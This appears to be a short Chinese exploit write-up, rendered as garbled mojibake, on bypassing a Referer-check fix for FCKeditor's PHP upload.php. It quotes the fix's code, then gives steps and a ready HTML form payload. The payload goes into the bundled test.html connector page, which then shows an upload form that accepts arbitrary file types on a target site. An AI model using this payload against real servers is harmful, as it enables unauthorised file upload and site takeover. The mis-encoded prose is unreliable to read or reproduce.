fckeditor ©¶´ÐÞ¸´ºóµÄ¶þ´ÎÀûÓÃ
©¶´Îļþ£ºeditors/fckeditor/editor/filemanager/upload/php/upload.phpÍøÉϸø³öµÄÐÞ¸´·½°¸ÊÇ
ÐÞ¸´·½·¨£¬É¾³ýFCK±à¼Æ÷ÓÃÆäËûµÄ±à¼Æ÷
»òÕßÕÒµ½ editors/fckeditor/editor/filemanager/upload/php/upload.php Îļþ
ÔÚ
require(¡®config.php¡¯);
require(¡®util.php¡¯);
µÄÏÂÃæÌí¼ÓÒÔÏ´úÂ롪¡ª¡ª¡ª¡ª¡ª¡ª¡ª¡ª¨C
//·ÀÖ¹ÍⲿÌá½»
function outsidepost()
{
$servername=$_SERVER['SERVER_NAME'];
$sub_from=@$_SERVER['HTTP_REFERER'];
$sub_len=strlen($servername);
$checkfrom=substr($sub_from,7,$sub_len);
if($checkfrom!=$servername){
echo(¡°you don¡¯t outsidepost!¡±);
exit;
}
}
outsidepost();
·ÀÖ¹ÍⲿÌá½»£¬µ«ÊÇûÓзÀÖ¹ÄÚ²¿Ìá½»£¬
ÀûÓ÷½·¨£º
1,´ò¿ª editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
2,ÔÚCurrent Folder ¿òÊäÈë
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
È»ºó Get Folders and Files ¾Í»á³öÏÖÒ»¸öÉÏ´«±íµ¥£¬¼´¿ÉÉÏ´«ÈÎÒâÎļþÀàÐÍ¡£
PS£ºÈç¹û editorsÓëÉÏ´«µÄÎļþ¼ÐÉèÖÃÁË403 500 404 ȨÏÞ ÀûÓþÍÎÞЧÁË¡£
Ò³:
[1]